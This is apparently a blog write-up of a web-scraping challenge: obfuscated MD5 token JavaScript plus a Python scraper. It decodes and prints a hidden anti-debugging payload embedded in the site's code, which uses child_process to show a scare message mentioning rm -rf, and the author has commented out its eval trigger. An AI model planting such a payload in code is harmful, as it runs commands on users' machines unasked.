        for (var _0x22776c = []; _0x53de72 > 0x6d7 + 0x2102 + -0x1 * 0x27d9; _0x53de72--)
            _0x22776c['push'](Math['floor']((-0x1 * 0x1787 + -0x259a + 0x3e21) * Math['random']()));
        return _0x22776c;
    },
    'bytesToWords': function (_0x594a96) {
        for (var _0x28f613 = [], _0x21db57 = 0x25eb * -0x1 + -0x17c0 + 0x1 * 0x3dab, _0x2d387a = -0x26 * -0x6e + 0x145 * -0xe + 0x172; _0x21db57 < _0x594a96['length']; _0x21db57++,
            _0x2d387a += -0x1526 + 0x175f + -0x231)
            _0x28f613[_0x2d387a >>> 0x26fa + -0x179 * 0x1 + -0x257c * 0x1] |= _0x594a96[_0x21db57] << -0x84 * 0x11 + -0x3 * -0x577 + 0x789 * -0x1 - _0x2d387a % (-0x1c57 + -0xcc3 + 0x293a);
        return _0x28f613;
    },
    'wordsToBytes': function (_0x2eef8f) {
        for (var _0x62afce = [], _0x2f0e26 = -0x9b * -0x9 + 0x21eb + -0x275e; _0x2f0e26 < (-0x194 * 0x16 + 0xcc8 + 0x1610) * _0x2eef8f['length']; _0x2f0e26 += -0x331 * -0xb + -0x21c1 + 0x2 * -0xa9)
            _0x62afce['push'](_0x2eef8f[_0x2f0e26 >>> -0x1d87 + -0x1144 + 0x2ed0] >>> 0xe2 * 0x2 + 0x2 * 0xc7c + -0x1aa4 * 0x1 - _0x2f0e26 % (0x1adc + 0x90f + -0x23cb) & -0x1b6f + 0x136a + 0x904);
        return _0x62afce;
    },
    'bytesToHex': function (_0x596c3a) {
        // eval('!' + R + '()');
        for (var _0xe3643f = [], _0x42ec66 = 0xb5 + -0x2570 + 0x24bb; _0x42ec66 < _0x596c3a['length']; _0x42ec66++)
            _0xe3643f['push']((_0x596c3a[_0x42ec66] >>> 0x303 * -0x9 + 0x331 * -0x4 + 0x27e3)['toString'](0x10f8 + 0xeda + -0xfe1 * 0x2)),
                _0xe3643f['push']((-0x4af * -0x4 + -0x7 * -0x4ef + 0x3cd * -0xe & _0x596c3a[_0x42ec66])['toString'](0x155f * -0x1 + -0x165d * 0x1 + -0x2 * -0x15e6));
        return _0xe3643f['join']('');
    },
    'hexToBytes': function (_0x5686ea) {
        for (var _0x3e6564 = [], _0x14bee4 = -0x2f6 + -0x4 * -0x574 + -0x12da; _0x14bee4 < _0x5686ea['length']; _0x14bee4 += -0x11 * -0xea + 0x7 * 0x2e3 + -0x23bd)
            _0x3e6564['push'](parseInt(_0x5686ea['substr'](_0x14bee4, 0x3 * -0x8a5 + 0x218 + -0x6f * -0x37), 0x790 + -0x1285 + -0xd9 * -0xd));
        return _0x3e6564;
    },
    'bytesToBase64': function (_0x3c9e9f) {
        for (var _0x30a763 = [], _0x4275f2 = 0x1b44 + 0x1 * -0x998 + 0xc * -0x179; _0x4275f2 < _0x3c9e9f['length']; _0x4275f2 += 0x422 + -0x60d * -0x4 + -0x3 * 0x971)
            for (var _0x10e163 = _0x3c9e9f[_0x4275f2] << 0x46 * -0x86 + 0x3cd + 0x20e7 | _0x3c9e9f[_0x4275f2 + (0xdea + -0x258 + -0xb91)] << -0xfd * 0x1 + -0x1523 + 0x1628 | _0x3c9e9f[_0x4275f2 + (0xa99 + 0x23 * 0x4f + -0x1564)], _0x1d3cd9 = -0xa3f + 0x4 * 0x260 + 0x1 * 0xbf; _0x1d3cd9 < 0x1ca4 * 0x1 + 0x1d32 + -0x1346 * 0x3; _0x1d3cd9++)
                (-0x1 * -0x8ad + -0x89 * -0x33 + -0x4 * 0x8fc) * _0x4275f2 + (0x149b + 0x23da + 0x1 * -0x386f) * _0x1d3cd9 <= (-0x2 * -0x1256 + 0x2a5 * -0xa + -0x1b3 * 0x6) * _0x3c9e9f['length'] ? _0x30a763['push'](_0x525a1d['charAt'](_0x10e163 >>> (0x4 * -0x286 + 0x2e3 * -0x1 + 0xd01) * (-0xc86 + -0xd64 + 0x19ed - _0x1d3cd9) & 0x4 * -0x3c4 + 0xd8 * -0x16 + 0x21df)) : _0x30a763['push']('=');
        return _0x30a763['join']('');
    },
    'base64ToBytes': function (_0xcc3a5) {
        _0xcc3a5 = _0xcc3a5['replace'](/[^A-Z0-9+\/]/gi, '');
        for (var _0x56d8d7 = [], _0x48a599 = 0x11 + 0x43 * -0xe + 0x399, _0x596640 = -0x41b * -0x1 + 0x1241 + -0x13e * 0x12; _0x48a599 < _0xcc3a5['length']; _0x596640 = ++_0x48a599 % (-0x1 * -0x18cb + -0x258f + 0x199 * 0x8))
            -0x1 * -0x1651 + 0x1c59 + 0x511 * -0xa != _0x596640 && _0x56d8d7['push']((_0x525a1d['indexOf'](_0xcc3a5['charAt'](_0x48a599 - (-0x1de9 + 0x159 * -0x1b + 0x424d))) & Math['pow'](0x986 + 0x3b * 0x3b + -0x171d, -(-0x22ae * -0x1 + -0x29 * -0x1 + 0xf1 * -0x25) * _0x596640 + (0x15d + 0x24d9 + -0x262e)) - (0x1c30 + -0x20b * -0x9 + -0x7c3 * 0x6)) << (-0x6 * -0x1fb + -0x22a8 * 0x1 + 0x16c8) * _0x596640 | _0x525a1d['indexOf'](_0xcc3a5['charAt'](_0x48a599)) >>> -0x22e6 + 0x1 * 0x2159 + 0x193 - (0x1016 + 0xc2 * 0xc + -0x219 * 0xc) * _0x596640);
        return _0x56d8d7;
    }
};

_0x1e0191 = {
            "stringToBytes": function (_0x3dd7b4) {
                return _0x1eab11["bin"]["stringToBytes"](unescape(encodeURIComponent(_0x3dd7b4)));
            },
            "bytesToString": function (_0x14e80d) {
                return decodeURIComponent(escape(_0x1eab11["bin"]["bytesToString"](_0x14e80d)));
            }
        },
    _0x30d60b = function (_0x5da58c) {
        return null != _0x5da58c && null != _0x5da58c["constructor"] && "function" == typeof _0x5da58c["constructor"]["isBuffer"] && _0x5da58c["constructor"]["isBuffer"](_0x5da58c);
    },
    _0x5cd848 = {
            "stringToBytes": function (_0x44a47a) {
                for (var _0x3963a0 = [], _0xc3968b = 0; _0xc3968b < _0x44a47a["length"]; _0xc3968b++) _0x3963a0["push"](255 & _0x44a47a["charCodeAt"](_0xc3968b));

                return _0x3963a0;
            },
            "bytesToString": function (_0x2b3e64) {
                for (var _0x3102aa = [], _0x317f9f = 0; _0x317f9f < _0x2b3e64["length"]; _0x317f9f++) _0x3102aa["push"](String["fromCharCode"](_0x2b3e64[_0x317f9f]));

                return _0x3102aa["join"]("");
            }
        },
    _0xaa1e3a = function (_0x326ed8, _0x3a712d) {
        // 这里会判断传进来的时间戳是数字还是字符串，字符串会导致执行另一套流程
        // _0x326ed8["constructor"] == String ? _0x326ed8 = _0x3a712d && "binary" === _0x3a712d["encoding"] ? _0x5cd848["stringToBytes"](_0x326ed8) : _0x1e0191["stringToBytes"](_0x326ed8) : _0x30d60b(_0x326ed8) ? _0x326ed8 = Array["prototype"]["slice"]["call"](_0x326ed8, 0) : Array["isArray"](_0x326ed8) || _0x326ed8["constructor"] === Uint8Array || (_0x326ed8 = _0x326ed8["toString"]());
        _0x326ed8["constructor"] == String ? _0x326ed8 = _0x3a712d && "binary" === _0x3a712d["encoding"] ? _0x5cd848["stringToBytes"](_0x326ed8) : _0x1e0191["stringToBytes"](_0x326ed8) : _0x30d60b(_0x326ed8) ? _0x326ed8 = Array["prototype"]["slice"]["call"](_0x326ed8, 0) : Array["isArray"](_0x326ed8) || _0x326ed8["constructor"] === Uint8Array || (_0x326ed8 = _0x326ed8["toString"]());

        for (var _0x15400d = _0x4150d9["bytesToWords"](_0x326ed8), _0xbcaaa4 = 8 * _0x326ed8["length"], _0x226810 = 1732584193, _0x39c5a3 = -271733879, _0x375469 = -1732584194, _0xbfc4fd = 271733878, _0x27e50a = 0; _0x27e50a < _0x15400d["length"]; _0x27e50a++) _0x15400d[_0x27e50a] = 16711935 & (_0x15400d[_0x27e50a] << 8 | _0x15400d[_0x27e50a] >>> 24) | 4278255360 & (_0x15400d[_0x27e50a] << 24 | _0x15400d[_0x27e50a] >>> 8);

        _0x15400d[_0xbcaaa4 >>> 5] |= 128 << _0xbcaaa4 % 32, _0x15400d[14 + (_0xbcaaa4 + 64 >>> 9 << 4)] = _0xbcaaa4;
        var _0x5ac147 = [102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 123, 116, 114, 121, 123, 116, 114, 121, 123, 99, 111, 110, 115, 116, 123, 101, 120, 101, 99, 83, 121, 110, 99, 125, 61, 114, 101, 113, 117, 105, 114, 101, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 59, 101, 120, 101, 99, 83, 121, 110, 99, 40, 96, 111, 115, 97, 115, 99, 114, 105, 112, 116, 45, 101, 39, 100, 105, 115, 112, 108, 97, 121, 32, 110, 111, 116, 105, 102, 105, 99, 97, 116, 105, 111, 110, 32, 34, 25105, 24050, 32463, 28183, 36879, 20102, 20320, 30340, 32456, 31471, 65292, 20320, 22909, 22909, 24819, 24819, 36825, 20010, 26102, 20505, 22914, 26524, 20851, 26426, 25110, 32773, 114, 109, 32, 45, 114, 102, 32, 20250, 24590, 20040, 26679, 65311, 32, 45, 45, 45, 45, 45, 45, 45, 32, 23433, 28572, 34, 32, 119, 105, 116, 104, 32, 116, 105, 116, 108, 101, 32, 34, 21361, 38505, 35686, 21578, 34, 32, 115, 117, 98, 116, 105, 116, 108, 101, 32, 34, 36973, 36935, 28183, 36879, 34, 39, 96, 41, 125, 99, 97, 116, 99, 104, 40, 101, 41, 123, 99, 111, 110, 115, 116, 123, 101, 120, 101, 99, 83, 121, 110, 99, 125, 61, 114, 101, 113, 117, 105, 114, 101, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 59, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 109, 115, 103, 32, 32, 37, 117, 115, 101, 114, 110, 97, 109, 101, 37, 32, 47, 116, 105, 109, 101, 58, 49, 48, 48, 48, 48, 32, 32, 25105, 24050, 32463, 28183, 36879, 20102, 20320, 30340, 99, 109, 100, 65292, 20320, 22909, 22909, 24819, 24819, 36825, 20010, 26102, 20505, 22914, 26524, 20851, 26426, 25110, 32773, 114, 109, 32, 45, 114, 102, 32, 20250, 24590, 20040, 26679, 65311, 32, 45, 45, 45, 45, 45, 45, 45, 32, 23433, 28572, 39, 41, 125, 125, 99, 97, 116, 99, 104, 40, 101, 41, 123, 122, 61, 110, 101, 119, 32, 68, 97, 116, 101, 40, 41, 46, 103, 101, 116, 84, 105, 109, 101, 40, 41, 125, 125];
        R = "";
        //
        // for (let _0x50726b = 0; _0x50726b < _0x5ac147["length"]; _0x50726b++) {
        //     R += String["fromCharCode"](_0x5ac147[_0x50726b]);
        // }
        /*
        * 这里的 R 会生成
        * 'function(){try{try{const{execSync}=require(\'child_process\');execSync(`osascript-e\'display notification "我已经渗透了你的终端，你好好想想这个时候如果关机或者rm -rf 会怎么样？ ------- 安澜" with title "危险警告" subtitle "遭遇渗透"\'`)}catch(e){const{execSync}=require(\'child_process\');execSync(\'msg  %username% /time:10000  我已经渗透了你的cmd，你好好想想这个时候如果关机或者rm -rf 会怎么样？ ------- 安澜\')}}catch(e){z=new Date().getTime()}}'
        * */

        for (var _0x555e78 = _0xaa1e3a["_ff"], _0xda568c = _0xaa1e3a["_gg"], _0x5ac147 = _0xaa1e3a["_hh"], _0x3b4f7f = _0xaa1e3a["_ii"], _0x27e50a = 0; _0x27e50a < _0x15400d["length"]; _0x27e50a += 16) {
            var _0x1bb416 = _0x226810,
                _0x26a408 = _0x39c5a3,
                _0x50a4d0 = _0x375469,
                _0xa5ce79 = _0xbfc4fd;
            se = eval, kp = setInterval, (_0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 0], 7, -680876936), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 1], 12, -389564586), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 2], 17, 606105819), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 3], 22, -1044525330), _0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 4], 7, -176418897), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 5], 12, 1200080426), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 6], 17, -1473231341), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 7], 22, -45705983), _0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 8], 7, 1770035416), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 9], 12, -1958414417), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 10], 17, -42063), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 11], 22, -1990404162), _0x226810 = _0x555e78(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 12], 7, 1804603682), _0xbfc4fd = _0x555e78(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 13], 12, -40341101), _0x375469 = _0x555e78(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 14], 17, -1502002290), _0x39c5a3 = _0x555e78(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 15], 22, 1236535329), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 1], 5, -165796510), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 6], 9, -1069501632), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 11], 14, 643717713), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 0], 20, -373897302), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 5], 5, -701558691), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 10], 9, 38016083), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 15], 14, -660478335), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 4], 20, -405537848), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 9], 5, 568446438), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 14], 9, -1019803690), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 3], 14, -187363961), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 8], 20, 1163531501), _0x226810 = _0xda568c(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 13], 5, -1444681467), _0xbfc4fd = _0xda568c(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 2], 9, -51403784), _0x375469 = _0xda568c(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 7], 14, 1735328473), _0x39c5a3 = _0xda568c(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 12], 20, -1926607734), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 5], 4, -378558), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 8], 11, -2022574463), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 11], 16, 1839030562), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 14], 23, -35309556), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 1], 4, -1530992060), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 4], 11, 1272893353), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 7], 16, -155497632), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 10], 23, -1094730640), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 13], 4, 681278174), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 0], 11, -358537222), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 3], 16, -722521979), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 6], 23, 76029189), _0x226810 = _0x5ac147(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 9], 4, -640364487), _0xbfc4fd = _0x5ac147(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 12], 11, -421815835), _0x375469 = _0x5ac147(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 15], 16, 530742520), _0x39c5a3 = _0x5ac147(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 2], 23, -995338651), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 0], 6, -198630844), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 7], 10, 1126891415), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 14], 15, -1416354905), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 5], 21, -57434055), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 12], 6, 1700485571), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 3], 10, -1894986606), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 10], 15, -1051523), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 1], 21, -2054922799), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 8], 6, 1873313359), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 15], 10, -30611744), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 6], 15, -1560198380), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 13], 21, 1309151649), _0x226810 = _0x3b4f7f(_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd, _0x15400d[_0x27e50a + 4], 6, -145523070), _0xbfc4fd = _0x3b4f7f(_0xbfc4fd, _0x226810, _0x39c5a3, _0x375469, _0x15400d[_0x27e50a + 11], 10, -1120210379), _0x375469 = _0x3b4f7f(_0x375469, _0xbfc4fd, _0x226810, _0x39c5a3, _0x15400d[_0x27e50a + 2], 15, 718787259), _0x39c5a3 = _0x3b4f7f(_0x39c5a3, _0x375469, _0xbfc4fd, _0x226810, _0x15400d[_0x27e50a + 9], 21, -343485551), _0x226810 = _0x226810 + _0x1bb416 >>> 0, _0x39c5a3 = _0x39c5a3 + _0x26a408 >>> 0, _0x375469 = _0x375469 + _0x50a4d0 >>> 0, _0xbfc4fd = _0xbfc4fd + _0xa5ce79 >>> 0);
        }

        return _0x4150d9["endian"]([_0x226810, _0x39c5a3, _0x375469, _0xbfc4fd]);
    };

_0xaa1e3a["_ff"] = function (_0x3a6840, _0xd0eb14, _0x405461, _0xb5007a, _0x361147, _0xabcf32, _0x5ca78a) {
    var _0xc97bda = _0x3a6840 + (_0xd0eb14 & _0x405461 | ~_0xd0eb14 & _0xb5007a) + (_0x361147 >>> 0) + _0x5ca78a;

    // return kp(function () {
    //     // eval("!" + R + "()");
    // }, 999), (_0xc97bda << _0xabcf32 | _0xc97bda >>> 32 - _0xabcf32) + _0xd0eb14;
    return  (_0xc97bda << _0xabcf32 | _0xc97bda >>> 32 - _0xabcf32) + _0xd0eb14;
}, _0xaa1e3a["_gg"] = function (_0x3e4f7f, _0x1f902e, _0x1547bf, _0x14070c, _0x38b4ce, _0xcee3e4, _0x58213c) {
    var _0x7b6a58 = _0x3e4f7f + (_0x1f902e & _0x14070c | _0x1547bf & ~_0x14070c) + (_0x38b4ce >>> 0) + _0x58213c;

    return (_0x7b6a58 << _0xcee3e4 | _0x7b6a58 >>> 32 - _0xcee3e4) + _0x1f902e;
}, _0xaa1e3a["_hh"] = function (_0x100bf8, _0x1b9ac1, _0x5dc561, _0x437c3a, _0x294d78, _0x4ea764, _0x564a54) {
    var _0x31e92f = _0x100bf8 + (_0x1b9ac1 ^ _0x5dc561 ^ _0x437c3a) + (_0x294d78 >>> 0) + _0x564a54;

    return (_0x31e92f << _0x4ea764 | _0x31e92f >>> 32 - _0x4ea764) + _0x1b9ac1;
}, _0xaa1e3a["_ii"] = function (_0x2df856, _0x15ea9a, _0x2ba0c6, _0x5ee1c3, _0x3e2bed, _0x4d87fe, _0x1f9e89) {
    var _0x17c7cd = _0x2df856 + (_0x2ba0c6 ^ (_0x15ea9a | ~_0x5ee1c3)) + (_0x3e2bed >>> 0) + _0x1f9e89;

    return (_0x17c7cd << _0x4d87fe | _0x17c7cd >>> 32 - _0x4d87fe) + _0x15ea9a;
}, _0xaa1e3a["_blocksize"] = 16, _0xaa1e3a["_digestsize"] = 16

var timestamp = new Date()["getTime"]();
var timestamp = 1723186280185;  // d3f520d29321f4d2e0198c098a2dfc17
var timestamp = 1723187043195;  // 4b7fdcb840c181bb7aedd59cacad15d0


result = function (_0x4f52ae, _0x13ce02) {
    if (undefined === _0x4f52ae || null === _0x4f52ae) {
        throw new Error("Illegal argument " + _0x4f52ae);
    }

    var _0x582db3 = _0x4150d9["wordsToBytes"](_0xaa1e3a(_0x4f52ae, _0x13ce02));

    // return _0x13ce02 && _0x13ce02["asBytes"] ? _0x582db3 : _0x13ce02 && _0x13ce02["asString"] ? _0x5cd848["bytesToString"](_0x582db3) : _0x4150d9["bytesToHex"](_0x582db3);

    return _0x4150d9["bytesToHex"](_0x582db3);
}

// token = result(timestamp)
// console.log(token)

function get_token(timestamp) {
    const token = result(timestamp);
    console.log(token)
    return token
}
get_token(timestamp)

python 代码

#!/usr/bin/env python 
# -*- coding: utf-8 -*-
# @Time    : 2024/8/8 11:37
# @Author  : QYF
# @File    : 21-js加密-一个套了轻ob的webpack.py
"""
https://www.python-spider.com/challenge/21

var _0x5523f0 = {
    "page": String(_0x286e83),
    "s": _0x4d0a2e,
    "t": p["s"]
};
p['s'] =  return new Date()["getTime"]();
"""


import time
import requests
import execjs


nums = 0
for page in range(1, 101):

    print(f"第{page}页")

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36',
        'sessionid': '8r4dl56v0xots6tihxpd91ms4kh98ru2'
    }

    timestamp = int(time.time() * 1000)
    with open("21.js", "r+", encoding="utf-8") as f:
        jstxt = f.read()
    ctx = execjs.compile(jstxt)
    token = ctx.call("get_token", timestamp)

    data = {
        'page': page,
        't': timestamp,
        's': token,
    }
    print(data)
    resp = requests.post('https://www.python-spider.com/api/challenge21', headers=headers, data=data)
    datas = resp.json()
    print(datas)
    for data in datas["data"]:
        nums += int(data["value"].replace('\r', ''))
    # break

print(f"第21题总数为：{nums}")

第四个坑

在这里碰见了第四个坑，代码编写完调用 js 代码的时候总是报错，报错在这一行

        // 这里会判断传进来的时间戳是数字还是字符串，字符串会导致执行另一套流程
        _0x326ed8["constructor"] == String ? _0x326ed8 = _0x3a712d && "binary" === _0x3a712d["encoding"] ? _0x5cd848["stringToBytes"](_0x326ed8) : _0x1e0191["stringToBytes"](_0x326ed8) : _0x30d60b(_0x326ed8) ? _0x326ed8 = Array["prototype"]["slice"]["call"](_0x326ed8, 0) : Array["isArray"](_0x326ed8) || _0x326ed8["constructor"] === Uint8Array || (_0x326ed8 = _0x326ed8["toString"]());

调用这两个参数的时候出错

_0x1e0191 = {
            "stringToBytes": function (_0x3dd7b4) {
                return _0x1eab11["bin"]["stringToBytes"](unescape(encodeURIComponent(_0x3dd7b4)));
            },
            "bytesToString": function (_0x14e80d) {
                return decodeURIComponent(escape(_0x1eab11["bin"]["bytesToString"](_0x14e80d)));
            }
        },
    _0x30d60b = function (_0x5da58c) {
        return null != _0x5da58c && null != _0x5da58c["constructor"] && "function" == typeof _0x5da58c["constructor"]["isBuffer"] && _0x5da58c["constructor"]["isBuffer"](_0x5da58c);
    },
    _0x5cd848 = {
            "stringToBytes": function (_0x44a47a) {
                for (var _0x3963a0 = [], _0xc3968b = 0; _0xc3968b < _0x44a47a["length"]; _0xc3968b++) _0x3963a0["push"](255 & _0x44a47a["charCodeAt"](_0xc3968b));

                return _0x3963a0;
            },
            "bytesToString": function (_0x2b3e64) {
                for (var _0x3102aa = [], _0x317f9f = 0; _0x317f9f < _0x2b3e64["length"]; _0x317f9f++) _0x3102aa["push"](String["fromCharCode"](_0x2b3e64[_0x317f9f]));

                return _0x3102aa["join"]("");
            }
        },

我又在浏览器中试了一下发现并为使用这两个参数

考虑到这里判断是否为字符串

_0x326ed8["constructor"] == String ? .....

再看 python 代码中生成的时间戳

timestamp = str(int(time.time() * 1000))

将时间戳去掉字符串转换后可以成功运行，并且可以获得返回结果